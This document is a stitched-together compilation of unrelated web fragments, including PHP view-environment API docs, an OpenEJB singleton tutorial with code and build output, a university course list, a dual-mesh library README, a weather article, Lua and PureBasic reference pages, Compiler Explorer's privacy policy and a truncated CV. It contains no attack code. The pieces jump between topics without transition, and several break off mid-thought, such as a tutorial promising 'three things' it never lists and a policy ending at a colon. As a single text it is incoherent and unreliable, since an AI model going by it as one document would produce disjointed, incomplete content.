class Environment
Methods
| void |
__construct(EngineResolver $engines, ViewFinderInterface $finder, Dispatcher $events)
Create a new view environment instance. |
|
| View |
make(string $view, array $data = array(), array $mergeData = array())
Get a evaluated view contents for the given view. |
|
| View |
of(string $view, mixed $data = array())
Get a evaluated view contents for a named view. |
|
| void |
name(string $view, string $name)
Register a named view. |
|
| bool |
exists(string $view)
Determine if a given view exists. |
|
| string |
renderEach(string $view, array $data, string $iterator, string $empty = 'raw|')
Get the rendered contents of a partial from a loop. |
|
| void |
share(string $key, mixed $value = null)
Add a piece of shared data to the environment. |
|
| Closure |
composer(array|string $views, Closure|string $callback)
Register a view composer event. |
|
| void |
callComposer(View $view)
Call the composer for a given view. |
|
| void |
startSection(string $section, string $content = '')
Start injecting content into a section. |
|
| void |
inject(string $section, string $content)
Inject inline content into a section. |
|
| string |
yieldSection()
Stop injecting content into a section and return its contents. |
|
| string |
stopSection(bool $overwrite = false)
Stop injecting content into a section. |
|
| string |
yieldContent(string $section)
Get the string contents of a section. |
|
| void |
flushSections()
Flush all of the section contents. |
|
| void |
incrementRender()
Increment the rendering counter. |
|
| void |
decrementRender()
Decrement the rendering counter. |
|
| bool |
doneRendering()
Check if there are no active render operations. |
|
| void |
addLocation(string $location)
Add a location to the array of view locations. |
|
| void |
addNamespace(string $namespace, string|array $hints)
Add a new namespace to the loader. |
|
| void |
addExtension(string $extension, string $engine, Closure $resolver = null)
Register a valid view extension and its engine. |
|
| array |
getExtensions()
Get the extension to engine bindings. |
|
| EngineResolver |
getEngineResolver()
Get the engine resolver instance. |
|
| ViewFinderInterface |
getFinder()
Get the view finder instance. |
|
| Dispatcher |
getDispatcher()
Get the event dispatcher instance. |
|
| Container |
getContainer()
Get the IoC container instance. |
|
| void |
setContainer(Container $container)
Set the IoC container instance. |
|
| array |
getShared()
Get all of the shared data for the environment. |
|
| array |
getSections()
Get the entire array of sections. |
|
| array |
getNames()
Get all of the registered named views in environment. |
Details
at line 96
public void
__construct(EngineResolver $engines, ViewFinderInterface $finder, Dispatcher $events)
Create a new view environment instance.
at line 113
public View
make(string $view, array $data = array(), array $mergeData = array())
Get a evaluated view contents for the given view.
at line 140
public View
of(string $view, mixed $data = array())
Get a evaluated view contents for a named view.
at line 152
public void
name(string $view, string $name)
Register a named view.
at line 163
public bool
exists(string $view)
Determine if a given view exists.
at line 186
public string
renderEach(string $view, array $data, string $iterator, string $empty = 'raw|')
Get the rendered contents of a partial from a loop.
at line 257
public void
share(string $key, mixed $value = null)
Add a piece of shared data to the environment.
at line 274
public Closure
composer(array|string $views, Closure|string $callback)
Register a view composer event.
at line 368
public void
callComposer(View $view)
Call the composer for a given view.
at line 380
public void
startSection(string $section, string $content = '')
Start injecting content into a section.
at line 399
public void
inject(string $section, string $content)
Inject inline content into a section.
at line 409
public string
yieldSection()
Stop injecting content into a section and return its contents.
at line 420
public string
stopSection(bool $overwrite = false)
Stop injecting content into a section.
at line 463
public string
yieldContent(string $section)
Get the string contents of a section.
at line 473
public void
flushSections()
Flush all of the section contents.
at line 485
public void
incrementRender()
Increment the rendering counter.
at line 495
public void
decrementRender()
Decrement the rendering counter.
at line 505
public bool
doneRendering()
Check if there are no active render operations.
at line 516
public void
addLocation(string $location)
Add a location to the array of view locations.
at line 528
public void
addNamespace(string $namespace, string|array $hints)
Add a new namespace to the loader.
at line 541
public void
addExtension(string $extension, string $engine, Closure $resolver = null)
Register a valid view extension and its engine.
at line 560
public array
getExtensions()
Get the extension to engine bindings.
at line 570
public EngineResolver
getEngineResolver()
Get the engine resolver instance.
at line 580
public ViewFinderInterface
getFinder()
Get the view finder instance.
at line 590
public Dispatcher
getDispatcher()
Get the event dispatcher instance.
at line 600
public Container
getContainer()
Get the IoC container instance.
at line 611
public void
setContainer(Container $container)
Set the IoC container instance.
at line 621
public array
getShared()
Get all of the shared data for the environment.
at line 631
public array
getSections()
Get the entire array of sections.
at line 641
public array
getNames()
Get all of the registered named views in environment.


Sample: Hide Exit Button
When you launch this sample, you will not see the Immersive Reader's exit button arrow, due to thehideExitButton
option being
true
.
An example of when you may want to use this option, is if you render the Immersive Reader on a mobile device and would prefer to control exits with the device's native back arrow.
You can force the Immersive Reader to close by calling
ImmersiveReader.close()
In order to demonstrate this behavior, the following example launches the Immersive Reader iframe inside of a parent iframe (with the dotted red border), so the Immersive Reader will take up the parent iframe's window rather than this screen's full window.


SLAC creates a collaborative space and environment to foster Olin's project-based culture.
SLAC hosts weekly gatherings in Olin's library, building community around tutorials, workshops, and group project meetings. In this collaborative environment, students also have the opportunity to connect with and learn from peers. In addition, we put on an annual festival of creativity, SLACFest, which is an all-day event that brings students together in the spirit of creation. Students, faculty, and alumni come together to engage in activities ranging from knitting and communal cooking to robotics and 3D printing.
Last year, we started the tradition of SLACFest, our annual festival of creativity. Over 300 students, faculty, and alumni all came together for an entire day dedicated to fostering the spirit of creativity at Olin. Workshops ranging from cardboard furniture creation to alumni tech talks to screenprinting were spread out through the day, along with personal projects on the side. The day culminated with a communal dinner created by attendees and project exposition showcasing Olin's best.
This year, SLACfest is back on April 29th. Stay tuned for details!


As the name implies a javax.ejb.Singleton is a session bean with a guarantee that there is at most one instance in the application.
What it gives that is completely missing in EJB 3.0 and prior versions is the ability to have an EJB that is notified when the application starts and notified when the application stops. So you can do all sorts of things that you previously could only do with a load-on-startup servlet. It also gives you a place to hold data that pertains to the entire application and all users using it, without the need for a static. Additionally, Singleton beans can be invoked by several threads at one time similar to a Servlet.
See the Singleton Beans Javadocs linked at the bottom for a full description.
PropertyRegistryBean
Here we see a bean that uses the Bean-Managed Concurrency option as well as the @Startup annotation which causes the bean to be instantiated by the container when the application starts. Singleton beans with @ConcurrencyManagement(BEAN) are responsible for their own thread-safety. The bean shown is a simple properties "registry" and provides a place where options could be set and retrieved by all beans in the application.
import static javax.ejb.ConcurrencyManagementType.BEAN;
import javax.ejb.Singleton;
import javax.ejb.ConcurrencyManagement;
import javax.ejb.Startup;
import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;
import java.util.Properties;
@Singleton
@ConcurrencyManagement(BEAN)
@Startup
public class PropertyRegistryBean implements PropertyRegistry {
// Note the java.util.Properties object is a thread-safe
// collections that uses synchronization. If it didn't
// you would have to use some form of synchronization
// to ensure the PropertyRegistryBean is thread-safe.
private final Properties properties = new Properties();
// The @Startup method ensures that this method is
// called when the application starts up.
@PostConstruct
public void applicationStartup() {
properties.putAll(System.getProperties());
}
@PreDestroy
public void applicationShutdown() {
properties.clear();
}
public String getProperty(String key) {
return properties.getProperty(key);
}
public String setProperty(String key, String value) {
return (String) properties.setProperty(key, value);
}
public String removeProperty(String key) {
return (String) properties.remove(key);
}
ComponentRegistryBean
Here we see a bean that uses the Container-Managed Concurrency option, the default. With @ConcurrencyManagement(CONTAINER) the container controls whether multi-threaded access should be allowed to the bean (@Lock(READ)) or if single-threaded access should be enforced (@Lock(WRITE)).
import static javax.ejb.LockType.READ;
import static javax.ejb.LockType.WRITE;
import javax.ejb.Lock;
import javax.ejb.Singleton;
import java.util.HashMap;
import java.util.Map;
import java.util.Collection;
import java.util.ArrayList;
@Singleton
@Lock(READ)
public class ComponentRegistryBean implements ComponentRegistry {
private final Map components = new HashMap();
public T getComponent(Class type) {
return (T) components.get(type);
}
public Collection> getComponents() {
return new ArrayList(components.values());
}
@Lock(WRITE)
public T setComponent(Class type, T value) {
return (T) components.put(type, value);
}
@Lock(WRITE)
public T removeComponent(Class type) {
return (T) components.remove(type);
}
Unless specified explicitly on the bean class or a method, the default @Lock value is @Lock(WRITE). The code above uses the @Lock(READ) annotation on bean class to change the default so that multi-threaded access is granted by default. We then only need to apply the @Lock(WRITE) annotation to the methods that modify the state of the bean.
Essentially @Lock(READ) allows multithreaded access to the Singleton bean instance unless someone is invoking an @Lock(WRITE) method. With @Lock(WRITE), the thread invoking the bean will be guaranteed to have exclusive access to the Singleton bean instance for the duration of its invocation. This combination allows the bean instance to use data types that are not normally thread safe. Great care must still be used, though.
In the example we see ComponentRegistryBean using a java.util.HashMap which is not synchronized. To make this ok we do three things:
The end result is that the threading model for this bean will switch from multi-threaded access to single-threaded access dynamically as needed depending on the which methods are being invoked. This gives Singletons a bit of an advantage over Servlets for processing multi-threaded requests.
See the Singleton Beans page for more advanced details on Container-Managed Concurrency. Test Case
public class ComponentRegistryBeanTest extends TestCase {
public void test() throws Exception {
Properties props = new Properties();
props.setProperty(Context.INITIAL_CONTEXT_FACTORY, "org.apache.openejb.client.LocalInitialContextFactory");
InitialContext context = new InitialContext(props);
// Both references below will point to the exact same instance
ComponentRegistry one = (ComponentRegistry) context.lookup("ComponentRegistryBeanLocal");
ComponentRegistry two = (ComponentRegistry) context.lookup("ComponentRegistryBeanLocal");
URI expectedUri = new URI("foo://bar/baz");
one.setComponent(URI.class, expectedUri);
URI actualUri = two.getComponent(URI.class);
assertSame(expectedUri, actualUri);
Date expectedDate = new Date();
two.setComponent(Date.class, expectedDate);
Date actualDate = one.getComponent(Date.class);
assertSame(expectedDate, actualDate);
}
Running the example is fairly simple. In the "simple-singleton" directory run:
$ mvn clean install
Which should create output like the following.
Running org.superbiz.registry.ComponentRegistryBeanTest
Apache OpenEJB 3.1-SNAPSHOT build: 20080820-09:53
http://tomee.apache.org/
INFO - openejb.home = /Users/dblevins/work/openejb3/examples/simple-singleton
INFO - openejb.base = /Users/dblevins/work/openejb3/examples/simple-singleton
INFO - Configuring Service(id=Default Security Service, type=SecurityService, provider-id=Default Security Service)
INFO - Configuring Service(id=Default Transaction Manager, type=TransactionManager, provider-id=Default Transaction Manager)
INFO - Found EjbModule in classpath: /Users/dblevins/work/openejb3/examples/simple-singleton/target/classes
INFO - Beginning load: /Users/dblevins/work/openejb3/examples/simple-singleton/target/classes
INFO - Configuring enterprise application: classpath.ear
INFO - Configuring Service(id=Default Singleton Container, type=Container, provider-id=Default Singleton Container)
INFO - Auto-creating a container for bean ComponentRegistryBean: Container(type=SINGLETON, id=Default Singleton Container)
INFO - Enterprise application "classpath.ear" loaded.
INFO - Assembling app: classpath.ear
INFO - Jndi(name=ComponentRegistryBeanLocal) --> Ejb(deployment-id=ComponentRegistryBean)
INFO - Jndi(name=PropertyRegistryBeanLocal) --> Ejb(deployment-id=PropertyRegistryBean)
INFO - Created Ejb(deployment-id=ComponentRegistryBean, ejb-name=ComponentRegistryBean, container=Default Singleton Container)
INFO - Created Ejb(deployment-id=PropertyRegistryBean, ejb-name=PropertyRegistryBean, container=Default Singleton Container)
INFO - Deployed Application(path=classpath.ear)
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.879 sec
Running org.superbiz.registry.PropertiesRegistryBeanTest
Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.009 sec
Results :
Tests run: 2, Failures: 0, Errors: 0, Skipped: 0


--- ---
January - April 2016
| Core courses for the Integrated Ph.D. programme in Ist Year | |||
| Course No. | Course Title | Instructor | |
| MA 213 | Algebra II | Mousumi Mandal | |
| MA 222 | Analysis II : Measure and Integration | A. K. Nandakumaran | |
| MA 224 | Complex Analysis | Gautam Bharali | |
| MA 229 | Calculus on Manifolds | Gadadhar Misra | |
| MA 241 | Ordinary Differential Equations | Thirupathi Gudi |
| Elective Courses | |||
| MA 313 | Algebraic Number Theory | Dilip P. Patil | |
| MA 314 | Introduction to Algebraic Geometry | Umesh Dubey | |
| MA 315 | Lie Algebras and their Representations | E. K. Narayanan | |
MA 317 |
Introduction to Analytic Number Theory | Soumya Das | |
| MA 319 | Algebraic Combinatorics | Arvind Ayyer | MA 320 | Representation Theory of Compact Lie Groups | S. Thangavelu |
| MA 332 | Algebraic Topology | Subhojoy Gupta | |
| MA 364 | Linear and Nonlinear Time Series Analysis | G. Rangarajan | |
| MA 369 | Quantum Mechanics | M. Krishna / Kaushal Verma |
|
|
||
| Indian Institute of Science | Contact the Administrator | Disclaimer |


Marketing For the Everyday Geek
Given at ACT-W, April 23, 2016
There are few things given more skepticism by the geeks of the world than marketing. We like to see ourselves as above the buzzwords and cheesy stock photographs, in a world where the best solution will win out.
But that’s not the case. Marketing, and especially branding, is critical to a geek’s career. Many big-name geeks got there simply because they know how to make and expose a strong, genuine professional identity. Projects turn from hacks to businesses thanks to their clear, strong branding. For the successful geek, branding and marketing are essential skills.
Sources cited
- Eloquence is more trusted than honesty
- Paraverbal indicators of lying
- Information Design by Robert Jacobson
- Significant Objects
- Stories and impressions of relationships
- Car Crash effect
- Novelty enhances visual perception
- Novelty and fight-or-flight
- Study on Mere Exposure effect
- Paul Jarvis and "rat people"
- The 1,000 True Fans
- Fight-and-flight and gender


Name
Details
Username
First name
Last name
Phone
Email
Date of Birth
Gender
Address
Education
Skills
Organization
Current Location
Aadhaar
PAN
INDIAN?


tv
Newsletter
What's the 3rd IR?
Our Hub
Come to the table
By 2040, we'll get humanity off of carbon.
We're building the 3rd industrial revolution with Blockchain, AI, and IoT.


License: Apache v2
I'm using this library for my own projects; the interface isn't stable yet, so expect breaking changes in the future.
For some of my map generation projects I've used an unstructured grid instead of regular grids to add variety and interestingness to the maps. I need a way to represent polygon regions (red points, outline in white) including their corners (blue points):
But I also sometimes need to visit a region's neighbors (red points, black connecting lines):
Put together, these form a dual mesh structure that has both the polygons (white lines, blue points) and triangles (black lines, red points):
Each element (region, side, triangle) has an integer index starting from 0. The sides are half edges, so there are two of them between each pair of regions. The sides index both between red points (black lines) and blue points (white lines); for each pair of red and blue points there are two side half-edges. For example with r0, r2, t0, t1, there are two side half-edges, s2 from r2 → r0 and s5 from r0 → r2. These two sides are called opposites. There are three sides per triangle. For example triangle t1 has sides s3, s4, s5.
Regions are polygons. Each region has N sides and N corners. For example region r0 has sides s0, s11, s8, s17, s14, and corners t0, t3, t2, t5, t4.
Lots of error-prone code is avoided by using sentinel values instead of nulls. In this case, the mesh will have opposites[s] == -1
at the boundaries of the map. Checking whether each side has an opposite (≥ 0
) leads to error-prone code. Iterating around the vertices of a polygon loop can fail if some vertices are missing. Switching to a side's opposite can fail if there is no opposite. Finding a triangle's neighbors can fail if some triangles are off the edge of the map. The solution is to “wrap” the map around the back so that there are no more boundaries.
The ghost elements are invisible elements of the dual mesh that provide the connectivity that nulls would complicate. Only the solid (non-ghost) elements are usually drawn, although it depends on context. The ghost region can be thought of as the “outside” of the map, or a region at “infinity” or the “back” of the map. Ghost triangles and sides connect the boundary of the map to the ghost region. Here are the additional ghost sides and vertices:
The ghost elements eliminate the boundary from a structural point of view, but I still want a boundary in the generated maps. The boundary elements are those adjacent to the outside of the map (ghost region). In the mesh creation function the points are evenly spaced but that isn't necessary.
If s2 === s_opposite_s(s1):
Properties of circulation:
For my 2010 polygon-map-generator project (Flash) I wrote a wrapper around the as3delaunay library that gave me access to the kinds of structures and operations I wanted to work with for polygon maps. For my 2017 map generator projects (Javascript) I wrote this wrapper around the delaunator library. See my blog post about centroid polygons and my blog post about the dual mesh data structure. This library is an evolution of that dual mesh data structure, with ghost elements and different names.
Take a look at @redblobgames/dual-mesh, but at the moment I'm writing it only for myself and don't intend for others to use it. I do make breaking changes.


{% extends "html/admin/oj_settings.html" %} {% load staticfiles %} {% block title %}Edit OJ - SDUST ACMer{% endblock %} {% block head %}
Please notice that after you have done this, all information related to this OJ will be deleted, including problems, submissions and accounts.
Please make sure that you really want to do this.


Warning Alert Box w/ Countdown: X minutes X seconds.
Info Alert Box, Countdown is Over.
Info Alert Box.
Success Alert Box.
Warning Alert Box.
Danger Alert Box.
Fail Alert Box.


Storms to scatter rain, snow across Northwest in coming days
by Maura Kelly & Accuweather.comNov. 15 -- The first in a parade of storms for the northwestern United States will bring rain and mountain snow over the next couple of days, but will this stormy pattern continue throughout November?
A storm system will move into western Canada and the U.S. Northwest on Friday.
As the storm pushes inland, areas of rain will spread but most will be limited to the Cascade and Rocky mountains while inland valleys will remain largely dry.
Precipitation is expected to fall as snow in the highest elevations of these mountain ranges in Washington, Idaho and northwestern Montana.
Rain will gradually change over to snow in the higher elevations of the Cascades in Oregon by Friday afternoon as colder air filters into the region and snow levels drop.
|
|
With snow levels expected to drop between 6,000 and 7,000 feet in the Pacific Northwest, accumulating snow will remain above mountain pass.
High-elevation snow will spread south into Wyoming and northern Colorado throughout the day on Saturday as the storm sinks south over the Rocky Mountains. Accumulating snow is expected to be largely limited to the highest peaks.
An area of high pressure will follow quickly behind the storm system and promote mainly dry conditions to the Northwest to start the weekend.
As the high follows the storm system tracking along the Rockies it will increase winds in parts of California, reigniting the fire threat across the area.
On Saturday, another storm system is forecast to bring rain and interior snow to British Columbia. Some of this rain will reach far enough south to dampen the Olympic Peninsula and Puget Sound regions.
|
|
Rain can spread farther south along the Washington coast on Sunday as the area of high pressure moves toward the Great Basin and the storm system over British Columbia moves inland.
This will not be the last in the parade of storms for the Northwest. Another system is forecast to follow quickly behind and bring another round of rain and mountain snow to the region early next week.
Once again, valleys look to remain largely dry, but snow levels may drop enough for some accumulations in the highest passes of the Cascades.
A quiet weather pattern looks to set up through the end of next week. A storm system over the Southwest will push high pressure into the Northwest. This will keep the storm track north into Canada.
Outside of a couple of quick storms, the Northwest may remain largely dry through the rest of November. However, the pattern may flip in the beginning of December.
"A large storm system developing over the Gulf of Alaska and along the West coast is likely to bring a stormier pattern through the Northwest and northern Rockies," stated AccuWeather Long-Range Meteorologist Jack Boston, "with the potential for heavy mountain snowfalls and soaking to heavy rain and wind in the lower elevations during the first week of December."


Class std.strbuf
String buffers.
Buffers are mutable by default, but being based on objects, they can also be used in a functional style:
local StrBuf = require "std.strbuf" {} local a = StrBuf {"a"} local b = a:concat "b" -- mutate *a* print (a, b) --> ab ab local c = a {} .. "c" -- copy and append print (a, c) --> ab abc
Prototype Chain
table `-> Object `-> StrBuf
Objects
| std.strbuf.StrBuf | StrBuf prototype object. |
Functions
| std.strbuf.concat (x) | Add a object to a buffer. |
Metamethods
| std.strbuf:__concat (buffer, x) | Support concatenation to StrBuf objects. |
| std.strbuf:__tostring (buffer) | Support fast conversion to Lua string. |
Objects
- std.strbuf.StrBuf
-
StrBuf prototype object.
Set also inherits all the fields and methods from std.object.Object.
Fields:
- _type string object name (default "StrBuf")
See also:
Usage:
local std = require "std" local StrBuf = std.strbuf {} local a = {1, 2, 3} local b = {a, "five", "six"} a = a .. 4 b = b:concat "seven" print (a, b) --> 1234 1234fivesixseven os.exit (0)
Functions
Methods- std.strbuf.concat (x)
-
Add a object to a buffer.
Elements are stringified lazily, so if add a table and then change
its contents, the contents of the buffer will be affected too.
Parameters:
- x object to add to buffer
Returns:
-
StrBuf
modified buffer
Usage:
buf = buf:concat "append this" {" and", " this"}
Metamethods
- std.strbuf:__concat (buffer, x)
-
Support concatenation to StrBuf objects.
Parameters:
- buffer StrBuf object
- x a string, or object that can be coerced to a string
Returns:
-
StrBuf
modified buf
See also:
Usage:
buf = buf .. x
- std.strbuf:__tostring (buffer)
-
Support fast conversion to Lua string.
Parameters:
- buffer StrBuf object
Returns:
-
string
concatenation of buffer contents
See also:
Usage:
str = tostring (buf)


{% load i18n messages consulting %} {% match_url "private_messages_outbox" as match_outbox %} {% match_url "private_messages_inbox" as match_inbox %}


Thanks for your interest in what Compiler Explorer does with your data. Data protection is really important to the Compiler Explorer team, and we want to be very clear about what we do with your data.
Compiler Explorer was created by and is primarily administrated by Matt Godbolt, along with a number of volunteers (including, but not limited to those listed in our "Authors" documentation).  We do our best to keep your data safe, but welcome help from the community: See our GitHub project page if you wish to help.
In order to process the compilation requests, your browser sends the source code you typed in the editor window along with your chosen compiler and options to the Compiler Explorer servers. There, the source code is written to disk and your chosen compiler is invoked on it. The results are processed and sent back to your web browser, where they're shown. Once the compiler has completed, your source code is deleted from disk.
If you choose a Microsoft compiler, then your code may be sent to and compiled on a machine administrated by Microsoft. Such code is covered by the Microsoft Privacy Policy.
The source code and options are also subject to a one-way hash, which is used to cache the results to speed up subsequent compilations of the same code. The cache is in-memory and on-disk. It's impossible to reconstruct the source code from the hash; but the resulting assembly code (the compilation result) is stored as plain text. There's no way to enumerate the in-memory cache contents. In exceptional cases, administrator members of the Compiler Explorer team may be able to enumerate the disk caches and retrieve the assembly code, but with no way to trace it back to the source code.
In short: your source code is stored in plaintext for the minimum time feasible to be able to process your request. After that, it is discarded and is inaccessible.
If you choose to share your code using the "Share" dropdown, then the user interface state including the source code
is stored. For a "Full" link, this information is encoded into the URL as a URL hash (e.g.
https://godbolt.org/#ui_state_and_code
). For short URLs, the interface state is stored on Compiler
Explorer's servers, and a shortened name uniquely referring to this data is returned. The shortened name comes from
a secure hash of the state, and without knowing the name it is infeasible to access the data. Only Compiler Explorer
administrators can access this data directly . Obfuscated IP addresses and creation time are stored alongside this
data, to enable spam detection. Links of this form look like https://godbolt.org/z/SHORTNAME
.
Prior to storing data itself, Compiler Explorer used an external URL shortening service
(goo.gl) and the resulting short URL was rewritten as
https://godbolt.org/g/SHORTURLPART
. The storage for the user experience state in this case remains with
the short URL provider, not Compiler Explorer.
Compiler Explorer keeps web logs, which contain semi-anonymised IP addresses, but no other personally identifying
information. When a long URL is clicked, the hash part of the URL is not sent to the server, so the user state
(including the source code) is NOT exposed in the web log. If a user clicks a short URL, then the short form IS
exposed in the web log (as https://godbolt.org/g/SHORTURLPART
) and from this the source code can be
retrieved. As such, if you create a short URL of your code, your source code and other user state can in principle
be retrieved from the web log of Compiler Explorer.
In order to debug and diagnose Compiler Explorer, to help track down and block Denial of Service attacks, and to gather statistics about Compiler Explorer's performance and usage, the web logs are archived. These logs are kept for 5 years, after which they are permanently deleted.
Separately, Compiler Explorer uses small pieces of information stored on your computer: Cookies and Browser Local Storage. Cookies are only used with the user's permission, and are used with external analytics services (e.g. Google Analytics) to gather statistics on Compiler Explorer usage. This information is used to help the Compiler Explorer team plan for future updates and hardware upgrades in order to ensure the site remains stable and responsive. Local storage is used to remember user's settings, source code and user interface configuration, so that it's available when the user visits the Compiler Explorer site again. This information is not transmitted to Compiler Explorer, except as described above in order to fulfil the user's requests. There is a separate document covering more on this. Statistics tracking information is kept for 14 months, after which it is removed.
Compiler Explorer is an open source project. If you are concerned about any of the data protection measures outlined above, or about what happens to your source code, you are encouraged to run your own local instance of Compiler Explorer. Instructions on how to do this are on the GitHub project page.
The Compiler Explorer team believes the Compiler Explorer site is compliant with the EU's General Data Protection Regulation (GDPR). Specifically, we store no personally identifying information, we anonymise the little data that we do have and we do not permanently store any user data.
The Controller for the purposes of the General Data Protection Regulation (GDPR), other data protection laws applicable in Member states of the European Union and other provisions related to data protection is:


This table reflects the number of codes issued each day, broken
down by user. A user is a human with a username and password who
authenticates to this server and issues verification codes.
API.
To see per user statistics for a given date, click on that date
in the table. The row will expand to include information about
the users that issued codes on that date.
This graph does not include codes that were issued via
the API.


"Man is least himself when he talks in his own person. Give him a mask, and he will tell you the truth." - Oscar Wilde


The Warm Weather Postponed the Flu by a Month
This autumn the temperatures in Sofia won’t fall below 0.
"September, October, November were not only warmer but also the temperatures won’t fall below 0," adding that: "We postponed the flu by one month because of the warm and dry weather."
According to him, temperatures in the Balkans are 5 to 7 degrees Celsius warmer in November, which is "much for the Balkans and for Eastern Europe".
Usually warm weather mixes with air pollution but these are two big different topics and are used for economic and political purposes, Prof. Rachev emphasized.


Algorithms: Please Mind the Bias! Institut Montaigne, with contribution of our team (main contact: Boris Ruf)2020
Promoting Responsible Artificial Intelligence in Insurance | Research report Boutharouite C., Elmarjani S., Detyniecki M. et al.2020 The Geneva Association
Regulating Machine Learning: where do we stand? Ruf B., Hirot M., Detyniecki M. and Shire N.2019 White paper outlining the challenges of regulating machine learning compared to conventional algorithms.


PlaySoundTimed ( slot, channel, loops, ms )
Plays sound for a given number of loops until the given number of milliseconds is reached.
Example:


https://scottphilip.github.io/ngx-expressions
https://stackblitz.com/edit/ngx-expressions-demo
Angular control that allowing a quick and easy way to give intellisense to a field. Works with Reactive forms and can be used with Material Form Field.
Under the hood, it uses Monaco Editor. The original use case it solved was helping users complete text templates by providing intellisense when inserting parameters which varied accross multiple context.
It has since been extended to work for both expressions and functions.
Behind the scenes it creates a template in the form:
( PARAMETER ): RETURN_TYPE => {
USER_CONTENT
}
Where the modes for Expression and Interpolation wrap the USER_CONTENT with a return ( );
and return (` `);
respectively.
When importing the NgxExpressionModule using the forRoot method or NGX_EXPRESSIONS_CONFIG token provider you can import external libs using the usual Monaco ways.
You can install using npm package
npm install --save ngx-expressions
Import NgxExpressionsModule into your AppModule using the forRoot method.
import { NgxExpressionsModule } from 'ngx-expressions';
...
@NgModule({
...
imports: [
...
NgxExpressionsModule.forRoot({
log: (message, params) => {
console.debug(message, params);
},
configure: async (monaco) => {
monaco.languages.typescript.typescriptDefaults.addExtraLib(`
declare interface MyWorld {
worldPrefix: string;
worldName: string;
}`,
'ts:helper.d.ts'
);
}
})
],
})
export class AppModule {}
<mat-form-field color="accent">
<mat-label>String Interpolation</mat-label>
<expr-input
[(ngModel)]="codeInterpolation"
#exprInput
parameters="myWorld: MyWorld"
mode="interpolation"
returnType="string"
color="accent"
></expr-input>
<mat-hint>Available parameters: {{ exprInput.parameters }}</mat-hint>
<mat-error>{{ exprInput.validationErrors.join(' ') }}</mat-error>
</mat-form-field>
All the regular fields that you would expect on a text box are there, but the following are in addition.
"interpolation" | "expression" | "extended"
The control accepts one of three modes.
Interpolation mode displays the content between the backticks of a interpolated string therefore allowing the user to only see what is relevant to them when trying to complete a string template. Simply instructing the user to enter the characters ${ will auto complete the closing curly bracket and automatically open intellisense. Exactly like VS Code. Control space even works too.
Expression mode is a single line snippet of code that always returns an object. For example, if the return type was set to boolean, the user can enter a rule that evaluates parameters and turns true or false based on conditions. The user only sees the logic and none of the surrounding "return" text.
Finally, Extended mode is simply a method or function that must return a value if the return type indicates it is required.
"primary" | "accent" | undefined
Applies only when using interpolation mode. Highlight the parameters in the Material theme colour.
string
The comma seperated list of parameter names with their data types.
string
When the control returns a final resulting value, it can be in the format of a function, with parenthesis or a string that goes between back ticks
string[]
Returns an array of validation errors (not warnings) relating to the control.
string
This has only been tested and used with Typescript, however it should be possible to use other languages if required.
/**
* The base url for where to find the monaco library. Defaults to use CDN
* (https://cdnjs.cloudflare.com/ajax/libs/monaco-editor/0.23.0/) library. However if you prefer you can host this locally.
*/
monacoBaseUrl?: string;
/**
* The default configuration for the monaco editor control. Can be overriden for each control using the options parameter.
*/
monacoDefaultOptions?: any;
/**
* If you want to add some custom configuration to the monaco environment, this method is called once right after it becomes ready.
* @param monaco
*/
configure?: (monaco: any) => Promise<void> | void;
/**
* To assist debugging you can implement the log which will trigger for verbose logging. Beware - there is a lot. Use this at your
* discretion.
* @param message
* @param params
*/
log?: (message: string, params: any[]) => void;
https://scottphilip.github.io/ngx-expressions/typedoc
MIT License
Copyright (c) 2021 Scott Philip, Berlin, Germany
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
 IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
Generated using TypeDoc


Which tag for image "{{ data.selectedImage.Label }}" do you want to use?
Resulting tag: {{ resultingTag() }}


Random()
Syntax
Result = Random(Maximum [, Minimum])Description
Returns a random number from zero to the given maximum value (both values included).
Parameters
Maximum The maximum value. This value needs to be positive (zero included) and may not exceed the maximum positive integer value. Minimum (optional) The minimum value. It may not exceed the maximum value. If specified, the random number will be from the minimum value to the maximum value (both values included). This value needs to be positive (zero included) and may not exceed the maximum positive integer value.
Return value
Returns a value from zero to the maximum value (both values included), unless a minimum value is specified.
Remarks
Additionally RandomSeed() may be used to change the random number seed. RandomData() can be used to fill a memory buffer with random data. RandomizeArray() or RandomizeList() can be used, to randomize the elements of an array or a list.
Note: This command uses a pseudorandom number generator which is very fast and produces randomly looking output but it is not strong enough for cryptographic purposes. The slower CryptRandom() command can be used if more secure random number generation is required.
Example
Repeat Dice = Random(6, 1) ; get a value between 1 and 6, including 1 and 6 Choice = MessageRequester("Roll the dice", "You got a " + Dice + ", roll again?", #PB_MessageRequester_YesNo) Until Choice = #PB_MessageRequester_No
See Also
RandomSeed(), RandomData(), CryptRandom(), RandomizeArray(), RandomizeList()
Supported OS
All


Upload File
File Uploaded!
The file URL is accessible with the following syntax: [[file: {{success.example}}]]
Media files can be embedded easily in a page:
- Image:
[[image: {{success.example}}]]
{% extends 'index.html' %}
{% block content %}
The file URL is accessible with the following syntax: Media files can be embedded easily in a page:Upload File
File Uploaded!
[[file: {{success.example}}]]
[[image: {{success.example}}]]
Note: these syntaxes are only valid on the current page.
{% endif %} {% else %} {% endif %} {% endblock %}


Rachel Graves, Curriculum Vitae
Personal Profile
I am both an experienced software engineer and trained user–centred design consultant with a deep understanding of all aspects the product development lifecycle. I pride myself on being influential in affecting changes to processes that help centre product delivery around user needs. Additionally, I am a big advocate of using user centred approaches to designing and building products.
Projects which help people, specifically marginalised groups are of specific interest to me.
 My hobbies include playing boardgames, cooking, cycling and organising socials.
Education
Studying a MSc in Human-Centred Systems at City University (part-time).
Skills
Development Skills
I have 13 years experience working with a variety of object-oriented programming languages (Ruby, PHP) and with a number of frameworks and content management systems (Ruby on Rails, Sinatra, Padrino, Middleman, Drupal). I am also proficient in HTML and CSS.
Tools and Processes
